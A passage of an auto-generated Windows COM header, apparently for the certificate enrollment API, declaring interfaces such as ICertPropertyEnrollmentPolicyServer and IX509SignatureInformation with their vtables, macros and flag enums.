lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyArchivedKeyHash * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strArchivedKeyHashValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ArchivedKeyHash )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyArchivedKeyHashVtbl;\n\n    interface ICertPropertyArchivedKeyHash\n    {\n        CONST_VTBL struct ICertPropertyArchivedKeyHashVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyArchivedKeyHash_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyArchivedKeyHash_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyArchivedKeyHash_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyArchivedKeyHash_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyArchivedKeyHash_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyArchivedKeyHash_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyArchivedKeyHash_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyArchivedKeyHash_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchivedKeyHash_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyArchivedKeyHash_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyArchivedKeyHash_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyArchivedKeyHash_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyArchivedKeyHash_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchivedKeyHash_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyArchivedKeyHash_Initialize(This,Encoding,strArchivedKeyHashValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strArchivedKeyHashValue) ) \n\n#define ICertPropertyArchivedKeyHash_get_ArchivedKeyHash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_ArchivedKeyHash(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyArchivedKeyHash_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0061 */\n/* [local] */ \n\ntypedef \nenum EnrollmentPolicyServerPropertyFlags\n    {\n        DefaultNone\t= 0,\n        DefaultPolicyServer\t= 0x1\n    } \tEnrollmentPolicyServerPropertyFlags;\n\ntypedef \nenum PolicyServerUrlFlags\n    {\n        PsfNone\t= 0,\n        PsfLocationGroupPolicy\t= 1,\n        PsfLocationRegistry\t= 2,\n        PsfUseClientId\t= 4,\n        PsfAutoEnrollmentEnabled\t= 16,\n        PsfAllowUnTrustedCA\t= 32\n    } \tPolicyServerUrlFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0061_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0061_v0_0_s_ifspec;\n\n#ifndef __ICertPropertyEnrollmentPolicyServer_INTERFACE_DEFINED__\n#define __ICertPropertyEnrollmentPolicyServer_INTERFACE_DEFINED__\n\n/* interface ICertPropertyEnrollmentPolicyServer */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyEnrollmentPolicyServer;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab34a-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyEnrollmentPolicyServer : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EnrollmentPolicyServerPropertyFlags PropertyFlags,\n            /* [in] */ X509EnrollmentAuthFlags AuthFlags,\n            /* [in] */ X509EnrollmentAuthFlags EnrollmentServerAuthFlags,\n            /* [in] */ PolicyServerUrlFlags UrlFlags,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strUrl,\n            /* [in] */ __RPC__in BSTR strId,\n            /* [in] */ __RPC__in BSTR strEnrollmentServerUrl) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerUrl( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerId( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetEnrollmentServerUrl( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetRequestIdString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPropertyFlags( \n            /* [retval][out] */ __RPC__out EnrollmentPolicyServerPropertyFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetUrlFlags( \n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAuthentication( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetEnrollmentServerAuthentication( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyEnrollmentPolicyServerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyEnrollmentPolicyServer * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ EnrollmentPolicyServerPropertyFlags PropertyFlags,\n            /* [in] */ X509EnrollmentAuthFlags AuthFlags,\n            /* [in] */ X509EnrollmentAuthFlags EnrollmentServerAuthFlags,\n            /* [in] */ PolicyServerUrlFlags UrlFlags,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strUrl,\n            /* [in] */ __RPC__in BSTR strId,\n            /* [in] */ __RPC__in BSTR strEnrollmentServerUrl);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerUrl )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerId )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetEnrollmentServerUrl )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestIdString )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPropertyFlags )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out EnrollmentPolicyServerPropertyFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetUrlFlags )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAuthentication )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetEnrollmentServerAuthentication )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyEnrollmentPolicyServerVtbl;\n\n    interface ICertPropertyEnrollmentPolicyServer\n    {\n        CONST_VTBL struct ICertPropertyEnrollmentPolicyServerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyEnrollmentPolicyServer_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyEnrollmentPolicyServer_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyEnrollmentPolicyServer_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyEnrollmentPolicyServer_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyEnrollmentPolicyServer_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyEnrollmentPolicyServer_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollmentPolicyServer_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyEnrollmentPolicyServer_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyEnrollmentPolicyServer_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollmentPolicyServer_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyEnrollmentPolicyServer_Initialize(This,PropertyFlags,AuthFlags,EnrollmentServerAuthFlags,UrlFlags,strRequestId,strUrl,strId,strEnrollmentServerUrl)\t\\\n    ( (This)->lpVtbl -> Initialize(This,PropertyFlags,AuthFlags,EnrollmentServerAuthFlags,UrlFlags,strRequestId,strUrl,strId,strEnrollmentServerUrl) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetPolicyServerUrl(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerUrl(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetPolicyServerId(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerId(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetEnrollmentServerUrl(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetEnrollmentServerUrl(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetRequestIdString(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetRequestIdString(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetPropertyFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPropertyFlags(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetUrlFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetUrlFlags(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetAuthentication(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetAuthentication(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetEnrollmentServerAuthentication(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetEnrollmentServerAuthentication(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyEnrollmentPolicyServer_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509SignatureInformation_INTERFACE_DEFINED__\n#define __IX509SignatureInformation_INTERFACE_DEFINED__\n\n/* interface IX509SignatureInformation */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509SignatureInformation;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33c-217d-11da-b2a4-000e7bbb2b09\")\n    IX509SignatureInformation : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_HashAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_HashAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PublicKeyAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_PublicKeyAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Parameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Parameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithm( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithmSet( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NullSigned( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Pkcs7Signature,\n            /* [in] */ VARIANT_BOOL SignatureKey,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetDefaultValues( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509SignatureInformationVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509SignatureInformation * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509SignatureInformation * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509SignatureInformation * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKeyAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PublicKeyAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Parameters )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Parameters )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithmSet )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NullSigned )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetSignatureAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ VARIANT_BOOL Pkcs7Signature,\n            /* [in] */ VARIANT_BOOL SignatureKey,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetDefaultValues )( \n            __RPC__in IX509SignatureInformation * This);\n        \n        END_INTERFACE\n    } IX509SignatureInformationVtbl;\n\n    interface IX509SignatureInformation\n    {\n        CONST_VTBL struct IX509SignatureInformationVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509SignatureInformation_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509SignatureInformation_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509SignatureInformation_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509SignatureInformation_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509SignatureInformation_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509SignatureInformation_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509SignatureInformation_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509SignatureInformation_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define 